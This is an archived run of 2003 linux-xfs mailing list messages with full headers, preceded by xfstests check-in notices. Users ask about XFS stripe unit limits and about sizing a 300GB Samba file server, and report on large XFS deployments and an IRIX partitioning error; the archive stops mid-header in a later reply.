Workarea: flutz.melbourne.sgi.com:/home/fsgqa/qa/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:158006a xfstests/src/lstat64.c - 1.8 Fix test 078 so it doesnt depend on the root fs blocksize; make it use TEST_DEV cos we know thats an XFS filesystem and supports sparse files Date: Thu Sep 11 17:35:33 PDT 2003 Workarea: flutz.melbourne.sgi.com:/home/fsgqa/qa/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:158265a xfstests/078 - 1.2 xfstests/078.out - 1.2 Big filesystem testing update - skip the repair check for the moment, takes too long; allow ag-wipe to keep high bits in an AG free as well. Date: Thu Sep 11 17:38:26 PDT 2003 Workarea: flutz.melbourne.sgi.com:/home/fsgqa/qa/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:158266a xfstests/common.rc - 1.31 xfstests/tools/auto-qa - 1.43 xfstests/tools/ag-wipe - 1.3 From owner-linux-xfs@oss.sgi.com Thu Sep 11 19:13:23 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 19:13:37 -0700 (PDT) Received: from messenger.kasenna.org (messenger.kasenna.org [208.253.201.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C2DMYa013565 for ; Thu, 11 Sep 2003 19:13:23 -0700 Received: from kasenna.com (host-10-10-5-202.kasenna.com [10.10.5.202] (may be forged)) (authenticated) by messenger.kasenna.org (8.10.2/8.10.2) with ESMTP id h8C2Bg717292 for ; Thu, 11 Sep 2003 19:11:42 -0700 Message-ID: <3F612BB7.60007@kasenna.com> Date: Thu, 11 Sep 2003 19:13:11 -0700 From: Shirley Shi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: requires a large stripe unit for XFS on 32-bit Linux Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 387 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: shirley@kasenna.com Precedence: bulk X-list: linux-xfs Content-Length: 436 Lines: 16 Hi, Does anyone know how we can use a large stripe unit for XFS FS on 32-bit Linux? We have a XFS 1.3 running with the linux kernel 2.4.21. We tried to use 512KB stripe unit when we created a XFS FS. But the xfs doesn't allow us to use 512KB stripe unit. When we did it, we got the following error messages: log stripe unit (512KB) is too large for kernel to handle (max 256K). Any comments are apprecitated. Thanks, Shirley From owner-linux-xfs@oss.sgi.com Thu Sep 11 20:22:16 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 20:22:29 -0700 (PDT) Received: from fed1mtao01.cox.net (fed1mtao01.cox.net [68.6.19.244]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C3MFYa017262 for ; Thu, 11 Sep 2003 20:22:16 -0700 Received: from jeeves.kpf.internal ([24.56.61.206]) by fed1mtao01.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20030912032207.KFKY10480.fed1mtao01.cox.net@jeeves.kpf.internal> for ; Thu, 11 Sep 2003 23:22:07 -0400 Received: from [192.168.172.107] (helo=cox.net) by jeeves.kpf.internal with esmtp (Exim 4.05) id 19xeVe-0002sg-00 for linux-xfs@oss.sgi.com; Thu, 11 Sep 2003 20:22:10 -0700 Message-ID: <3F613BE3.6000507@cox.net> Date: Thu, 11 Sep 2003 20:22:11 -0700 From: "Kevin P. Fleming" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Configuring large XFS filesystem Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 388 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kpfleming@cox.net Precedence: bulk X-list: linux-xfs Content-Length: 1092 Lines: 18 I've been using XFS for a while now on Linux, but never on a filesystem larger than about 60GB or so. Tomorrow I need to configure a disk array for a client with a single XFS filesystem. The total size of the filesystem will be approximately 300GB, and it needs to be able hold 1.5-2.0 million files at any one time. There are no database work loads or transaction processing workloads, it's just a big fat file server for their network. They store a wide range of file sizes, but at least 50% of the files will be less than 32KB in size. The filesystem will be shared out using Samba 3.0, and there will be limited usage of extended attributes and ACLs through Samba (but probably no more than a couple thousand files, unless Samba decides to put extended attributes on things I'm not aware of yet). The server is running kernel 2.6.0-test5. Anyone have any suggestions on configuring the filesystem? I hesitate to just use mkfs.xfs defaults for something this large, and I certainly don't want them to run out of space for new files/directories when the system is not full. From owner-linux-xfs@oss.sgi.com Thu Sep 11 20:44:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 20:44:13 -0700 (PDT) Received: from lists.vasoftware.com (mail@lists.vasoftware.com [198.186.202.171]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C3i7Ya018419 for ; Thu, 11 Sep 2003 20:44:07 -0700 Received: from adsl-67-121-168-232.dsl.sntc01.pacbell.net ([67.121.168.232]:61574 helo=linux-sxs.org) by lists.vasoftware.com with asmtp (Cipher TLSv1:RC4-MD5:128) (Exim 4.20 #1 (Debian)) id 19xeqr-000285-Ha by VAauthid with fixed_plain for ; Thu, 11 Sep 2003 20:44:05 -0700 Message-ID: <3F6140F6.9010209@linux-sxs.org> Date: Thu, 11 Sep 2003 20:43:50 -0700 From: "Net Llama!" Organization: HAL III User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: Configuring large XFS filesystem References: <3F613BE3.6000507@cox.net> In-Reply-To: <3F613BE3.6000507@cox.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-EA-Verified: lists.vasoftware.com 19xeqr-000285-Ha 916bea24645e90a1223175fb79b63b62 X-Spam-Score: -102.6 (---------------------------------------------------) X-archive-position: 390 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 1523 Lines: 30 On 09/11/03 20:22, Kevin P. Fleming wrote: > I've been using XFS for a while now on Linux, but never on a filesystem > larger than about 60GB or so. Tomorrow I need to configure a disk array > for a client with a single XFS filesystem. The total size of the > filesystem will be approximately 300GB, and it needs to be able hold > 1.5-2.0 million files at any one time. There are no database work loads > or transaction processing workloads, it's just a big fat file server for > their network. They store a wide range of file sizes, but at least 50% > of the files will be less than 32KB in size. The filesystem will be > shared out using Samba 3.0, and there will be limited usage of extended > attributes and ACLs through Samba (but probably no more than a couple > thousand files, unless Samba decides to put extended attributes on > things I'm not aware of yet). > > The server is running kernel 2.6.0-test5. Anyone have any suggestions on > configuring the filesystem? I hesitate to just use mkfs.xfs defaults for > something this large, and I certainly don't want them to run out of > space for new files/directories when the system is not full. I'd have to wonder why you're using an unstable kernel on a production server? -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ L. Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo: http://netllama.ipfox.com 8:40pm up 6 days, 7:33, 1 user, load average: 0.12, 0.25, 0.30 From owner-linux-xfs@oss.sgi.com Thu Sep 11 20:59:18 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 11 Sep 2003 20:59:35 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C3xIYa019098 for ; Thu, 11 Sep 2003 20:59:18 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8C21cOO030450 for ; Thu, 11 Sep 2003 19:01:38 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8C3xCcc11637323; Thu, 11 Sep 2003 22:59:12 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8C3xCK2018105; Thu, 11 Sep 2003 22:59:12 -0500 (CDT) Date: Thu, 11 Sep 2003 22:59:12 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: "Kevin P. Fleming" cc: linux-xfs@oss.sgi.com Subject: Re: Configuring large XFS filesystem In-Reply-To: <3F613BE3.6000507@cox.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 391 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1912 Lines: 41 On Thu, 11 Sep 2003, Kevin P. Fleming wrote: > I've been using XFS for a while now on Linux, but never on a > filesystem larger than about 60GB or so. Tomorrow I need to configure > a disk array for a client with a single XFS filesystem. The total size > of the filesystem will be approximately 300GB, and it needs to be able > hold 1.5-2.0 million files at any one time. There are no database work > loads or transaction processing workloads, it's just a big fat file > server for their network. They store a wide range of file sizes, but > at least 50% of the files will be less than 32KB in size. The If the files are very small, I suppose you might consider a smaller than default block size, just so you don't waste space. 2 million files would waste about 4G of space, or a little over 1% of capacity, so I guess it's not a big deal. The default of page-sized block sizes is probably better tested, anyway. > filesystem will be shared out using Samba 3.0, and there will be > limited usage of extended attributes and ACLs through Samba (but > probably no more than a couple thousand files, unless Samba decides to > put extended attributes on things I'm not aware of yet). > > The server is running kernel 2.6.0-test5. Anyone have any suggestions Brave man. :) > on configuring the filesystem? I hesitate to just use mkfs.xfs > defaults for something this large, and I certainly don't want them to > run out of space for new files/directories when the system is not full. You won't run out of space; xfs dynamically allocates inodes up to a set max percentage, default 25% of space in inodes. However, you can always use xfs_growfs to increase that if necessary. 25% of 300G / 256byte inodes still leaves you with plenty of room for -lots- of files & dirs (314,572,800 if I calculated right). how are you assembling the 300G? stripe values etc might be worth examining. -Eric From owner-linux-xfs@oss.sgi.com Fri Sep 12 01:10:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 01:10:26 -0700 (PDT) Received: from hammail2.truenorth.com ([213.61.138.99]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C8A5Ya026684 for ; Fri, 12 Sep 2003 01:10:06 -0700 Received: from [170.200.66.61] ([170.200.66.61]) by hammail2.truenorth.com (Netscape Messaging Server 4.15) with ESMTP id HL3DCN00.SLB; Fri, 12 Sep 2003 10:09:59 +0200 In-Reply-To: <3F613BE3.6000507@cox.net> References: <3F613BE3.6000507@cox.net> Mime-Version: 1.0 (Apple Message framework v588) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <806AF1AC-E4F8-11D7-BDF7-003065DC18B8@hamburg.fcb.com> Content-Transfer-Encoding: 7bit Cc: linux-xfs@oss.sgi.com From: "Harald Wagener" Subject: Re: Configuring large XFS filesystem Date: Fri, 12 Sep 2003 10:09:58 +0200 To: "Kevin P. Fleming" X-Mailer: Apple Mail (2.588) X-archive-position: 392 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hwagener@hamburg.fcb.com Precedence: bulk X-list: linux-xfs Content-Length: 1752 Lines: 39 On Freitag, 12. September 2003, at 05:22vorm., Kevin P. Fleming wrote: > I've been using XFS for a while now on Linux, but never on a > filesystem larger than about 60GB or so. Tomorrow I need to configure > a disk array for a client with a single XFS filesystem. The total size > of the filesystem will be approximately 300GB, and it needs to be able > hold 1.5-2.0 million files at any one time. There are no database work > loads or transaction processing workloads, it's just a big fat file > server for their network. They store a wide range of file sizes, but > at least 50% of the files will be less than 32KB in size. The > filesystem will be shared out using Samba 3.0, and there will be > limited usage of extended attributes and ACLs through Samba (but > probably no more than a couple thousand files, unless Samba decides to > put extended attributes on things I'm not aware of yet). > > The server is running kernel 2.6.0-test5. Anyone have any suggestions > on configuring the filesystem? I hesitate to just use mkfs.xfs > defaults for something this large, and I certainly don't want them to > run out of space for new files/directories when the system is not > full. > > > We have something similar like that running over here. We just took the standard mkfs.xfs for a 400 Gigabyte data store that is accessed via netatalk and samba (still on 2.2.x, but that is going to change soon...). So far, our problems did not come from xfs, but from interop problems between samba, netatalk, and various versions of client operating systems. Regards, Harald P.S.: Is there any advice on filesystem care after two years of continuous usage of an xfs file system? (except for backups, which we do of course). - H. From owner-linux-xfs@oss.sgi.com Fri Sep 12 01:44:22 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 01:44:38 -0700 (PDT) Received: from sundancer.oche.de (sundancer.oche.de [194.94.252.29]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C8iKYa027714 for ; Fri, 12 Sep 2003 01:44:22 -0700 Received: by sundancer.oche.de (Postfix, from userid 10) id 5D96551C21; Fri, 12 Sep 2003 10:44:15 +0200 (CEST) Received: from foehn.quickstep.oche.de (localhost [127.0.0.1]) by foehn.quickstep.oche.de (8.12.9/8.12.8) with ESMTP id h8C8hp1i024834 for ; Fri, 12 Sep 2003 10:43:52 +0200 (CEST) Received: (from news@localhost) by foehn.quickstep.oche.de (8.12.9/8.12.8/Submit) id h8C8holi024833 for linux-xfs@oss.sgi.com; Fri, 12 Sep 2003 10:43:50 +0200 (CEST) To: linux-xfs@oss.sgi.com Path: not-for-mail From: Martin Spott Newsgroups: list.linux-xfs Subject: Re: Configuring large XFS filesystem Date: 12 Sep 2003 08:43:50 GMT Organization: home Message-ID: References: <3F613BE3.6000507@cox.net> NNTP-Posting-Host: foehn.quickstep.oche.de X-Trace: foehn.quickstep.oche.de 1063356230 24704 192.168.48.1 (12 Sep 2003 08:43:50 GMT) X-Complaints-To: usenet@foehn.quickstep.oche.de NNTP-Posting-Date: 12 Sep 2003 08:43:50 GMT User-Agent: tin/1.4.5-20010409 ("One More Nightmare") (UNIX) (SunOS/5.8 (sun4m)) X-archive-position: 393 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Martin.Spott@uni-duisburg.de Precedence: bulk X-list: linux-xfs Content-Length: 906 Lines: 20 "Kevin P. Fleming" wrote: > The server is running kernel 2.6.0-test5. Anyone have any suggestions > on configuring the filesystem? I hesitate to just use mkfs.xfs > defaults for something this large, and I certainly don't want them to > run out of space for new files/directories when the system is not full. I'd consider it a bit risky to use an unstable kernel for a production system that holds that much data. I've set up a 1,1 TB filesystem (3ware 7850 RIAD5 with 8x 160 GByte IDE) with a simple mkfs.xfs as a multi purpose file server running kernel 2.4.18 (2.2.17 does not support over 1 TB) and the system's been running fine for at least over one year now (I don't remember precisely). Samba is some 2.2.x, Martin. -- Unix _IS_ user friendly - it's just selective about who its friends are ! -------------------------------------------------------------------------- From owner-linux-xfs@oss.sgi.com Fri Sep 12 03:17:10 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 03:17:28 -0700 (PDT) Received: from gk.ka.epigenomics.net (qmailr@[62.159.77.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CAH7Ya012740 for ; Fri, 12 Sep 2003 03:17:08 -0700 Received: (qmail 17846 invoked from network); 12 Sep 2003 10:16:41 -0000 Received: from einstein.epigenomics.epi (qmailr@192.168.1.4) by weinberg.epigenomics.epi with SMTP; 12 Sep 2003 10:16:41 -0000 Received: (qmail 29048 invoked from network); 12 Sep 2003 10:16:41 -0000 Received: from broglie.epigenomics.epi (qmailr@192.168.1.5) by einstein.epigenomics.epi with SMTP; 12 Sep 2003 10:16:41 -0000 Received: (qmail 7492 invoked by uid 9); 12 Sep 2003 10:16:40 -0000 From: Robert Sander Reply-To: Robert Sander X-Newsgroups: epi.ml.linux.xfs Subject: Re: Configuring large XFS filesystem Date: Fri, 12 Sep 2003 10:16:40 +0000 (UTC) Organization: Epigenomics AG Message-ID: References: <3F613BE3.6000507@cox.net> X-Complaints-To: usenet@epigenomics.com User-Agent: slrn/0.9.7.4 (Linux) To: linux-xfs@oss.sgi.com X-archive-position: 394 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ml-linux-xfs@epigenomics.com Precedence: bulk X-list: linux-xfs Content-Length: 674 Lines: 18 On Fri, 12 Sep 2003 08:45:23 +0000 (UTC), Martin Spott wrote: > I've set up a 1,1 TB filesystem (3ware 7850 RIAD5 with 8x 160 GByte > IDE) with a simple mkfs.xfs as a multi purpose file server running > kernel 2.4.18 (2.2.17 does not support over 1 TB) and the system's been > running fine for at least over one year now (I don't remember > precisely). Samba is some 2.2.x, Same here. We have several filesystems in the range of 400GB up to 2TB running XFS. Greetings -- Robert Sander Manager Information Systems www.epigenomics.com Kastanienallee 24 +493024345330 10435 Berlin From owner-linux-xfs@oss.sgi.com Fri Sep 12 07:27:24 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 07:27:47 -0700 (PDT) Received: from fed1mtao02.cox.net (fed1mtao02.cox.net [68.6.19.243]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CERLYa030995 for ; Fri, 12 Sep 2003 07:27:23 -0700 Received: from jeeves.kpf.internal ([24.56.61.206]) by fed1mtao02.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20030912142716.HIDL25496.fed1mtao02.cox.net@jeeves.kpf.internal> for ; Fri, 12 Sep 2003 10:27:16 -0400 Received: from [192.168.172.107] (helo=cox.net) by jeeves.kpf.internal with esmtp (Exim 4.05) id 19xotI-0001Gg-00 for linux-xfs@oss.sgi.com; Fri, 12 Sep 2003 07:27:16 -0700 Message-ID: <3F61D7C4.5010209@cox.net> Date: Fri, 12 Sep 2003 07:27:16 -0700 From: "Kevin P. Fleming" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: Configuring large XFS filesystem References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 395 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kpfleming@cox.net Precedence: bulk X-list: linux-xfs Content-Length: 752 Lines: 20 Eric Sandeen wrote: > You won't run out of space; xfs dynamically allocates inodes up to a > set max percentage, default 25% of space in inodes. However, you > can always use xfs_growfs to increase that if necessary. > 25% of 300G / 256byte inodes still leaves you with plenty of room > for -lots- of files & dirs (314,572,800 if I calculated right). OK, that was my biggest worry. > > how are you assembling the 300G? stripe values etc might be worth > examining. The 300G array is an external hardware FC-to-Ultra160 array using a CMD controller (old and no longer repairable, but still works fine). I've thought about trying to deal with that, but the array is already so fast that I don't think I could really improve things very much. From owner-linux-xfs@oss.sgi.com Fri Sep 12 07:29:01 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 07:29:12 -0700 (PDT) Received: from fed1mtao06.cox.net (fed1mtao06.cox.net [68.6.19.125]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CET1Ya031537 for ; Fri, 12 Sep 2003 07:29:01 -0700 Received: from jeeves.kpf.internal ([24.56.61.206]) by fed1mtao06.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20030912142848.KITL9283.fed1mtao06.cox.net@jeeves.kpf.internal> for ; Fri, 12 Sep 2003 10:28:48 -0400 Received: from [192.168.172.107] (helo=cox.net) by jeeves.kpf.internal with esmtp (Exim 4.05) id 19xout-0001qt-00 for linux-xfs@oss.sgi.com; Fri, 12 Sep 2003 07:28:55 -0700 Message-ID: <3F61D827.6090800@cox.net> Date: Fri, 12 Sep 2003 07:28:55 -0700 From: "Kevin P. Fleming" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: Configuring large XFS filesystem References: <3F613BE3.6000507@cox.net> <806AF1AC-E4F8-11D7-BDF7-003065DC18B8@hamburg.fcb.com> In-Reply-To: <806AF1AC-E4F8-11D7-BDF7-003065DC18B8@hamburg.fcb.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 396 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kpfleming@cox.net Precedence: bulk X-list: linux-xfs Content-Length: 757 Lines: 15 Harald Wagener wrote: > We have something similar like that running over here. We just took the > standard mkfs.xfs for a 400 Gigabyte data store that is accessed via > netatalk and samba (still on 2.2.x, but that is going to change > soon...). So far, our problems did not come from xfs, but from interop > problems between samba, netatalk, and various versions of client > operating systems. Very similar situation here, except we'll be using Thursby's ADmitMac product on the single Mac that we have to support, instead of netatalk on the server. The server is part of a Windows 2000 Active Directory domain, so it made more sense to just make the Mac participate in that instead of setting up Linux-based security only for that one machine. From owner-linux-xfs@oss.sgi.com Fri Sep 12 14:26:58 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 14:27:16 -0700 (PDT) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CLQvYa030068 for ; Fri, 12 Sep 2003 14:26:58 -0700 Received: (qmail 7012 invoked by uid 65534); 12 Sep 2003 21:26:50 -0000 Received: from t-indiv3-91.athome.tue.nl (EHLO s371472t) (131.155.240.91) by mail.gmx.net (mp001) with SMTP; 12 Sep 2003 23:26:50 +0200 Message-ID: <002501c37974$94482870$0100a8c0@campus.tue.nl> From: "Leon Woestenberg" To: Subject: Linux 2.6.x and 100TB XFS? Date: Fri, 12 Sep 2003 23:26:49 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 397 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: leon.woestenberg@gmx.net Precedence: bulk X-list: linux-xfs Content-Length: 248 Lines: 12 Hello, with the 2.6.x kernel around the corner, supposedly offering 2^64 VFS support, can the XFS developers please comment on the new practical size limitations for XFS under 2.6.x? We have some HDTV to capture :-) Regards, Leon Woestenberg. From owner-linux-xfs@oss.sgi.com Fri Sep 12 14:50:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 14:50:19 -0700 (PDT) Received: from mail.morewave.com (mail.morewave.com [64.114.86.195]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CLoCYa031546 for ; Fri, 12 Sep 2003 14:50:15 -0700 Received: from MIKEY ([64.114.29.86]) by mail.morewave.com (Morewave Mail) with SMTP id LOA74088 for ; Fri, 12 Sep 2003 14:50:13 -0700 Received: by MIKEY with Microsoft Mail id <01C3793E.21328C80@MIKEY>; Fri, 12 Sep 2003 14:57:04 -0700 Message-ID: <01C3793E.21328C80@MIKEY> From: Ed Batnjana To: "'linux-xfs@oss.sgi.com'" Subject: FW: ATAboy2F + SGI IRIX 6.5.13f Date: Fri, 12 Sep 2003 14:57:03 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8CLoFYa031550 X-archive-position: 398 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ed@openstore.com Precedence: bulk X-list: linux-xfs Content-Length: 1651 Lines: 48 Hi , below is the error that I'm having any help would be appreciate it. thanks One more piece of info ; the raid's volume IS partitionable under red hat linux 8 using a qlogic 2200 series fibre channel card. Ed J. Batnjana Open Storage Solutions Field Service Rep. Phone : 604-291-1181 Fax : 604-291-0819 E-mail : ed.Batnjana@openstore.com Please visit us www.openstore.com -----Original Message----- From: Michael Shapcotte [SMTP:mshapcotte@mshapcotte.com] Sent: Friday, September 12, 2003 2:07 PM To: ed@openstore.com Subject: ATAboy2F + SGI IRIX 6.5.13f so...everytime i try to use fx to partition the disk, i get an error whenever fx is trying to write a label to the disk. when i start fx and open the disk (bus 3, id 0, lun 0) i get this: ..opening dksc(3,0,0,) ..drive selftest...OK fx: Warning: invalid label from disk driver, ignored Scsi drive type == NEXSAN ATAboy(C0A809A2)5020 ..creating default bootinfo ..created default partitions, use /repartition menu to change ..creating default volume directory fx: Error: invalid argument: Driver update failed! then, after doing the repartition as option drive, and exiting to write out the label, i get this: Tried to read 1 blocks, only read 0 at 0 retry #2 Tried to read 1 blocks, only read 0 at 0 retry #3 Tried to read 1 blocks, only read 0 at 0 retry #4 Tried to read 1 blocks, only read 0 at 0 label info has changed for disk dksc(3,0,0). write our changes? (yes) fx/exit: Error: Invalid argument: Drive update failed! fx/exit: Error: Invalid argument: label write failed! --Michael Shapcotte System Administrator Toybox Vancouver 604-689-1090 From owner-linux-xfs@oss.sgi.com Fri Sep 12 15:00:20 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 12 Sep 2003 15:00:24 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CM0JYa032189 for ; Fri, 12 Sep 2003 15:00:19 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8CK2gOO020072 for ; Fri, 12 Sep 2003 13:02:42 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8CM0Dcc11595869; Fri, 12 Sep 2003 17:00:13 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8CM0DK1083160; Fri, 12 Sep 2003 17:00:13 -0500 (CDT) Subject: Re: FW: ATAboy2F + SGI IRIX 6.5.13f From: Eric Sandeen To: Ed Batnjana Cc: "'linux-xfs@oss.sgi.com'" In-Reply-To: <01C3793E.21328C80@MIKEY> References: <01C3793E.21328C80@MIKEY> Content-Type: text/plain Organization: Message-Id: <1063404012.12888.47.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 12 Sep 2003 17:00:13 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 399 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 531 Lines: 14 You'll need to contact your SGI IRIX support representative, I'm afraid. This list only deals with open source XFS, not irix issues. -Eric On Fri, 2003-09-12 at 16:57, Ed Batnjana wrote: > Hi , below is the error that I'm having any help would be appreciate it. thanks > > One more piece of info ; the raid's volume IS partitionable under red hat linux 8 using a qlogic 2200 series fibre channel card. -- Eric Sandeen [C]XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Sun Sep 14 02:04:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 02:05:15 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8E94lYa025972 for ; Sun, 14 Sep 2003 02:04:48 -0700 Received: from puariko.homeip.net (vdp010.hal01.gwc.hol.gr [195.97.11.42]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8E94agc017363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 14 Sep 2003 11:04:42 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8E94X9J014467; Sun, 14 Sep 2003 12:04:34 +0300 Date: Sun, 14 Sep 2003 12:04:32 +0300 From: Axel Thimm To: Utz Lehmann Cc: linux-xfs@oss.sgi.com Subject: Re: Redhat beta kernel compile fix Message-ID: <20030914090432.GA14407@pua.nirvana> References: <20030911172635.GB13348@de.tecosim.com> Mime-Version: 1.0 Content-Type: 